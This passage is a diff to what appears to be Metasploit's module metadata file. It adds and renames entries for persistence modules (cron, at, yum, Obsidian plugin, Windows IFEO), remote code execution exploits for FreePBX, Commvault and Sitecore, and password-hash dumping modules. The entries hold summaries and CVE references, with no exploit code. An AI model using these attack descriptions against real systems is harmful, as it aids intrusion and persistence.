|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session",
|
||||
"event-dependent"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"config-changes"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": null,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_linux/persistence/yum_package_manager": {
|
||||
"name": "Yum Package Manager Persistence",
|
||||
"fullname": "exploit/linux/persistence/yum_package_manager",
|
||||
"aliases": [
|
||||
"exploits/linux/local/yum_package_manager_persistence"
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2003-12-17",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Aaron Ringo"
|
||||
],
|
||||
"description": "This module will run a payload when the package manager is used.\n This module modifies a yum plugin to launch a binary of choice.\n grep -F 'enabled=1' /etc/yum/pluginconf.d/\n will show what plugins are currently enabled on the system.\n root persmissions are likely required.\n Verified on Centos 7.1",
|
||||
"references": [],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe",
|
||||
"rport": null,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2025-09-18 16:15:24 +0000",
|
||||
"path": "/modules/exploits/linux/persistence/yum_package_manager.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/persistence/yum_package_manager",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session",
|
||||
"event-dependent"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"config-changes"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": true,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_linux/pop3/cyrus_pop3d_popsubfolders": {
|
||||
"name": "Cyrus IMAPD pop3d popsubfolders USER Buffer Overflow",
|
||||
"fullname": "exploit/linux/pop3/cyrus_pop3d_popsubfolders",
|
||||
@@ -96413,7 +96783,7 @@
|
||||
"Linux SPARC64",
|
||||
"Linux s390x"
|
||||
],
|
||||
"mod_time": "2025-06-06 12:39:33 +0000",
|
||||
"mod_time": "2025-09-17 11:04:28 +0000",
|
||||
"path": "/modules/exploits/linux/samba/is_known_pipename.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/samba/is_known_pipename",
|
||||
@@ -122349,62 +122719,6 @@
|
||||
"needs_cleanup": true,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_multi/local/obsidian_plugin_persistence": {
|
||||
"name": "Obsidian Plugin Persistence",
|
||||
"fullname": "exploit/multi/local/obsidian_plugin_persistence",
|
||||
"aliases": [],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-09-16",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"h00die",
|
||||
"Thomas Byrne"
|
||||
],
|
||||
"description": "This module searches for Obsidian vaults for a user, and uploads a malicious\n community plugin to the vault. The vaults must be opened with community\n plugins enabled (NOT restricted mode), but the plugin will be enabled\n automatically.\n\n Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10.",
|
||||
"references": [
|
||||
"URL-https://docs.obsidian.md/Plugins/Getting+started/Build+a+plugin",
|
||||
"URL-https://github.com/obsidianmd/obsidian-sample-plugin/tree/master",
|
||||
"URL-https://forum.obsidian.md/t/can-obsidian-plugins-have-malware/34491",
|
||||
"URL-https://help.obsidian.md/Extending+Obsidian/Plugin+security",
|
||||
"URL-https://thomas-byrne.co.uk/research/obsidian-malicious-plugins/obsidian-research/"
|
||||
],
|
||||
"platform": "Linux,OSX,Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": [
|
||||
"Auto",
|
||||
"Linux",
|
||||
"OSX",
|
||||
"Windows"
|
||||
],
|
||||
"mod_time": "2024-12-14 17:38:29 +0000",
|
||||
"path": "/modules/exploits/multi/local/obsidian_plugin_persistence.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/local/obsidian_plugin_persistence",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"config-changes"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": null,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_multi/local/periodic_script_persistence": {
|
||||
"name": "Periodic Script Persistence",
|
||||
"fullname": "exploit/multi/local/periodic_script_persistence",
|
||||
@@ -124741,7 +125055,7 @@
|
||||
"Windows",
|
||||
"Unix"
|
||||
],
|
||||
"mod_time": "2023-04-06 15:42:39 +0000",
|
||||
"mod_time": "2025-09-23 09:58:50 +0000",
|
||||
"path": "/modules/exploits/multi/misc/weblogic_deserialize_badattr_extcomp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/misc/weblogic_deserialize_badattr_extcomp",
|
||||
@@ -124790,7 +125104,7 @@
|
||||
"Windows",
|
||||
"Unix"
|
||||
],
|
||||
"mod_time": "2023-04-06 11:43:50 +0000",
|
||||
"mod_time": "2025-09-23 09:58:50 +0000",
|
||||
"path": "/modules/exploits/multi/misc/weblogic_deserialize_badattrval.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/misc/weblogic_deserialize_badattrval",
|
||||
@@ -125252,6 +125566,172 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/persistence/at": {
|
||||
"name": "at(1) Persistence",
|
||||
"fullname": "exploit/multi/persistence/at",
|
||||
"aliases": [
|
||||
"exploits/unix/local/at_persistence"
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "1997-01-01",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Jon Hart <jon_hart@rapid7.com>"
|
||||
],
|
||||
"description": "This module executes a metasploit payload utilizing at(1) to execute jobs at a specific time. It should work out of the box\n with any UNIX-like operating system with atd running.\n Verified on Kali linux and OSX 13.7.4",
|
||||
"references": [
|
||||
"URL-https://linux.die.net/man/1/at",
|
||||
"URL-https://www.geeksforgeeks.org/at-command-in-linux-with-examples/",
|
||||
"ATT&CK-T1053.002",
|
||||
"ATT&CK-T1053.001"
|
||||
],
|
||||
"platform": "Linux,OSX,Unix",
|
||||
"arch": "cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe",
|
||||
"rport": null,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2025-09-06 15:12:16 +0000",
|
||||
"path": "/modules/exploits/multi/persistence/at.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/persistence/at",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"repeatable-session",
|
||||
"event-dependent"
|
||||
],
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"config-changes"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter",
|
||||
"shell"
|
||||
],
|
||||
"needs_cleanup": true,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_multi/persistence/cron": {
|
||||
"name": "Cron Persistence",
|
||||
"fullname": "exploit/multi/persistence/cron",
|
||||
"aliases": [
|
||||
"exploits/linux/local/cron_persistence"
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "1979-07-01",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"h00die <mike@shorebreaksecurity.com>"
|
||||
],
|
||||
"description": "This module will create a cron or crontab entry to execute a payload.\n The module includes the ability to automatically clean up those entries to prevent multiple executions.\n syslog will get a copy of the cron entry.\n Verified on Ubuntu 22.04.1, MacOS 13.7.4",
|
||||
"references": [
|
||||
"ATT&CK-T1053.003"
|
||||
],
|
||||
"platform": "Linux,OSX,Unix",
|
||||
"arch": "cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe",
|
||||
"rport": null,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": [
|
||||
"Cron",
|
||||
"User Crontab",
|
||||
"OSX User Crontab",
|
||||
"System Crontab"
|
||||
],
|
||||
"mod_time": "2025-09-18 11:48:17 +0000",
|
||||
"path": "/modules/exploits/multi/persistence/cron.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/persistence/cron",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session",
|
||||
"event-dependent"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"config-changes"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": true,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_multi/persistence/obsidian_plugin": {
|
||||
"name": "Obsidian Plugin Persistence",
|
||||
"fullname": "exploit/multi/persistence/obsidian_plugin",
|
||||
"aliases": [
|
||||
"exploits/multi/local/obsidian_plugin_persistence"
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-09-16",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"h00die",
|
||||
"Thomas Byrne"
|
||||
],
|
||||
"description": "This module searches for Obsidian vaults for a user, and uploads a malicious\n community plugin to the vault. The vaults must be opened with community\n plugins enabled (NOT restricted mode), but the plugin will be enabled\n automatically.\n\n Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10.",
|
||||
"references": [
|
||||
"URL-https://docs.obsidian.md/Plugins/Getting+started/Build+a+plugin",
|
||||
"URL-https://github.com/obsidianmd/obsidian-sample-plugin/tree/master",
|
||||
"URL-https://forum.obsidian.md/t/can-obsidian-plugins-have-malware/34491",
|
||||
"URL-https://help.obsidian.md/Extending+Obsidian/Plugin+security",
|
||||
"URL-https://thomas-byrne.co.uk/research/obsidian-malicious-plugins/obsidian-research/"
|
||||
],
|
||||
"platform": "Linux,OSX,Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": [
|
||||
"Auto",
|
||||
"Linux",
|
||||
"OSX",
|
||||
"Windows"
|
||||
],
|
||||
"mod_time": "2025-09-06 15:05:21 +0000",
|
||||
"path": "/modules/exploits/multi/persistence/obsidian_plugin.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/persistence/obsidian_plugin",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"config-changes"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": null,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_multi/php/ignition_laravel_debug_rce": {
|
||||
"name": "Unauthenticated remote code execution in Ignition",
|
||||
"fullname": "exploit/multi/php/ignition_laravel_debug_rce",
|
||||
@@ -130512,6 +130992,66 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_unix/http/freepbx_unauth_sqli_to_rce": {
|
||||
"name": "FreePBX ajax.php unuthenticated SQLi to RCE",
|
||||
"fullname": "exploit/unix/http/freepbx_unauth_sqli_to_rce",
|
||||
"aliases": [],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2025-08-28",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Echo_Slow",
|
||||
"Piotr Bazydlo",
|
||||
"Sonny"
|
||||
],
|
||||
"description": "This module exploits an unauthenticated SQL injection flaw in FreePBX prior to versions 15.0.66, 16.0.89,\n and 17.0.3. The vulnerability lies in the /admin/ajax.php endpoint, which is accessible without\n authentication. Additionally, the database user created by FreePBX can schedule cronjobs, allowing\n remote code execution on the target system.",
|
||||
"references": [
|
||||
"CVE-2025-57819",
|
||||
"URL-https://labs.watchtowr.com/you-already-have-our-personal-data-take-our-phone-calls-too-freepbx-cve-2025-57819/"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "cmd",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Unix Command"
|
||||
],
|
||||
"mod_time": "2025-09-22 17:34:00 +0000",
|
||||
"path": "/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "unix/http/freepbx_unauth_sqli_to_rce",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_unix/http/laravel_token_unserialize_exec": {
|
||||
"name": "PHP Laravel Framework token Unserialize Remote Command Execution",
|
||||
"fullname": "exploit/unix/http/laravel_token_unserialize_exec",
|
||||
@@ -131830,49 +132370,6 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_unix/local/at_persistence": {
|
||||
"name": "at(1) Persistence",
|
||||
"fullname": "exploit/unix/local/at_persistence",
|
||||
"aliases": [],
|
||||
"rank": 600,
|
||||
"disclosure_date": "1997-01-01",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Jon Hart <jon_hart@rapid7.com>"
|
||||
],
|
||||
"description": "This module achieves persistence by executing payloads via at(1).",
|
||||
"references": [],
|
||||
"platform": "Unix",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2023-02-05 15:45:30 +0000",
|
||||
"path": "/modules/exploits/unix/local/at_persistence.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "unix/local/at_persistence",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"config-changes"
|
||||
]
|
||||
},
|
||||
"session_types": [],
|
||||
"needs_cleanup": true,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_unix/local/chkrootkit": {
|
||||
"name": "Chkrootkit Local Privilege Escalation",
|
||||
"fullname": "exploit/unix/local/chkrootkit",
|
||||
@@ -170799,6 +171296,71 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/commvault_rce_cve_2025_57790_cve_2025_57791": {
|
||||
"name": "Commvault Command-Line Argument Injection to Traversal Remote Code Execution",
|
||||
"fullname": "exploit/windows/http/commvault_rce_cve_2025_57790_cve_2025_57791",
|
||||
"aliases": [],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2025-08-19",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Sonny Macdonald",
|
||||
"Piotr Bazydlo",
|
||||
"remmons-r7"
|
||||
],
|
||||
"description": "This module exploits an unauthenticated remote code execution exploit chain for Commvault,\n tracked as CVE-2025-57790 and CVE-2025-57791. A command-line injection permits unauthenticated\n access to the 'localadmin' account, which then facilitates code execution via expression\n language injection. CVE-2025-57788 is also leveraged to leak the target host name, which is\n necessary knowledge to exploit the remote code execution chain. This module executes in\n the context of 'NETWORK SERVICE' on Windows.",
|
||||
"references": [
|
||||
"CVE-2025-57790",
|
||||
"CVE-2025-57791",
|
||||
"CVE-2025-57788",
|
||||
"URL-https://documentation.commvault.com/securityadvisories/CV_2025_08_1.html",
|
||||
"URL-https://documentation.commvault.com/securityadvisories/CV_2025_08_2.html",
|
||||
"URL-https://blog.eclecticiq.com/china-nexus-threat-actor-actively-exploiting-ivanti-endpoint-manager-mobile-cve-2025-4428-vulnerability"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Default"
|
||||
],
|
||||
"mod_time": "2025-09-15 11:19:49 +0000",
|
||||
"path": "/modules/exploits/windows/http/commvault_rce_cve_2025_57790_cve_2025_57791.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/commvault_rce_cve_2025_57790_cve_2025_57791",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk",
|
||||
"config-changes"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_windows/http/cyclope_ess_sqli": {
|
||||
"name": "Cyclope Employee Surveillance Solution v6 SQL Injection",
|
||||
"fullname": "exploit/windows/http/cyclope_ess_sqli",
|
||||
@@ -180647,6 +181209,126 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/sitecore_xp_cve_2025_34510": {
|
||||
"name": "Sitecore XP CVE-2025-34510 Post-Authentication Remote Code Execution",
|
||||
"fullname": "exploit/windows/http/sitecore_xp_cve_2025_34510",
|
||||
"aliases": [],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2025-06-17",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Piotr Bazydlo",
|
||||
"msutovsky-r7"
|
||||
],
|
||||
"description": "This module exploits CVE-2025-34510, path traversal leading to remote code execution. The module exploits also CVE-2025-34509 - hardcoded credentials of ServicesAPI account - to gain foothold.",
|
||||
"references": [
|
||||
"CVE-2025-34510",
|
||||
"URL-https://labs.watchtowr.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform",
|
||||
"URL-https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86, x64",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Windows"
|
||||
],
|
||||
"mod_time": "2025-09-11 11:04:34 +0000",
|
||||
"path": "/modules/exploits/windows/http/sitecore_xp_cve_2025_34510.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/sitecore_xp_cve_2025_34510",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/sitecore_xp_cve_2025_34511": {
|
||||
"name": "Sitecore XP CVE-2025-34511 Post-Authentication File Upload",
|
||||
"fullname": "exploit/windows/http/sitecore_xp_cve_2025_34511",
|
||||
"aliases": [],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2025-06-17",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Piotr Bazydlo",
|
||||
"msutovsky-r7"
|
||||
],
|
||||
"description": "This module exploits CVE-2025-34511, a file upload vulnerability in PowerShell extensions. The module exploits also CVE-2025-34509 - hardcoded credentials of ServicesAPI account - to gain foothold.",
|
||||
"references": [
|
||||
"CVE-2025-34511",
|
||||
"URL-https://labs.watchtowr.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform",
|
||||
"URL-https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86, x64",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Windows"
|
||||
],
|
||||
"mod_time": "2025-09-11 11:04:34 +0000",
|
||||
"path": "/modules/exploits/windows/http/sitecore_xp_cve_2025_34511.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/sitecore_xp_cve_2025_34511",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/smartermail_rce": {
|
||||
"name": "SmarterTools SmarterMail less than build 6985 - .NET Deserialization Remote Code Execution",
|
||||
"fullname": "exploit/windows/http/smartermail_rce",
|
||||
@@ -188934,54 +189616,6 @@
|
||||
"needs_cleanup": null,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_windows/local/persistence_image_exec_options": {
|
||||
"name": "Windows Silent Process Exit Persistence",
|
||||
"fullname": "exploit/windows/local/persistence_image_exec_options",
|
||||
"aliases": [],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2008-06-28",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Mithun Shanbhag",
|
||||
"bwatters-r7"
|
||||
],
|
||||
"description": "Windows allows you to set up a debug process when a process exits.\n This module uploads a payload and declares that it is the debug\n process to launch when a specified process exits.",
|
||||
"references": [
|
||||
"URL-https://attack.mitre.org/techniques/T1183/",
|
||||
"URL-https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2025-06-23 12:43:46 +0000",
|
||||
"path": "/modules/exploits/windows/local/persistence_image_exec_options.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/local/persistence_image_exec_options",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"unknown-reliability"
|
||||
],
|
||||
"Stability": [
|
||||
"unknown-stability"
|
||||
],
|
||||
"SideEffects": [
|
||||
"unknown-side-effects"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": null,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_windows/local/persistence_service": {
|
||||
"name": "Windows Persistent Service Installer",
|
||||
"fullname": "exploit/windows/local/persistence_service",
|
||||
@@ -197955,6 +198589,58 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/persistence/image_exec_options": {
|
||||
"name": "Windows Silent Process Exit Persistence",
|
||||
"fullname": "exploit/windows/persistence/image_exec_options",
|
||||
"aliases": [
|
||||
"exploits/windows/local/persistence_image_exec_options"
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2008-06-28",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Mithun Shanbhag",
|
||||
"bwatters-r7"
|
||||
],
|
||||
"description": "Windows allows you to set up a debug process when a process exits.\n This module uploads a payload and declares that it is the debug\n process to launch when a specified process exits.",
|
||||
"references": [
|
||||
"ATT&CK-T1183",
|
||||
"URL-https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": [],
|
||||
"autofilter_services": [],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2025-09-26 15:44:31 +0000",
|
||||
"path": "/modules/exploits/windows/persistence/image_exec_options.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/persistence/image_exec_options",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session",
|
||||
"event-dependent"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"config-changes"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": null,
|
||||
"actions": []
|
||||
},
|
||||
"exploit_windows/pop3/seattlelab_pass": {
|
||||
"name": "Seattle Lab Mail 5.5 POP3 Buffer Overflow",
|
||||
"fullname": "exploit/windows/pop3/seattlelab_pass",
|
||||
@@ -265898,14 +266584,16 @@
|
||||
"theLightCosine <theLightCosine@metasploit.com>"
|
||||
],
|
||||
"description": "Post module to dump the password hashes for all users on an AIX system.",
|
||||
"references": [],
|
||||
"references": [
|
||||
"ATT&CK-T1003.008"
|
||||
],
|
||||
"platform": "AIX",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-26 16:28:15 +0000",
|
||||
"mod_time": "2025-09-16 18:31:30 +0000",
|
||||
"path": "/modules/post/aix/hashdump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "aix/hashdump",
|
||||
@@ -265978,7 +266666,8 @@
|
||||
"description": "Post Module to dump the password hashes for Android System. Root is required.\n To perform this operation, two things are needed. First, a password.key file\n is required as this contains the hash but no salt. Next, a sqlite3 database\n is needed (with supporting files) to pull the salt from. Combined, this\n creates the hash we need. Samsung based devices change the hash slightly.",
|
||||
"references": [
|
||||
"URL-https://www.pentestpartners.com/security-blog/cracking-android-passwords-a-how-to/",
|
||||
"URL-https://hashcat.net/forum/thread-2202.html"
|
||||
"URL-https://hashcat.net/forum/thread-2202.html",
|
||||
"ATT&CK-T1003"
|
||||
],
|
||||
"platform": "Android",
|
||||
"arch": "",
|
||||
@@ -265986,7 +266675,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-27 01:56:49 +0000",
|
||||
"mod_time": "2025-09-08 17:30:59 +0000",
|
||||
"path": "/modules/post/android/gather/hashdump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "android/gather/hashdump",
|
||||
@@ -266389,14 +267078,16 @@
|
||||
"bcoles <bcoles@gmail.com>"
|
||||
],
|
||||
"description": "Post module to dump the password hashes for all users on a BSD system.",
|
||||
"references": [],
|
||||
"references": [
|
||||
"ATT&CK-T1003.008"
|
||||
],
|
||||
"platform": "BSD",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2025-04-27 02:09:41 +0000",
|
||||
"mod_time": "2025-09-16 18:31:30 +0000",
|
||||
"path": "/modules/post/bsd/gather/hashdump.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "bsd/gather/hashdump",
|
||||
@@ -267998,7 +268689,8 @@
|
||||
"references": [
|
||||
"URL-https://github.com/rbowes-r7/refreshing-mcp-tool",
|
||||
"URL-https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/",
|
||||
"URL-https://support.f5.com/csp/article/K97843387"
|
||||
"URL-https://support.f5.com/csp/article/K97843387",
|
||||
"ATT&CK-T1003"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "",
|
||||
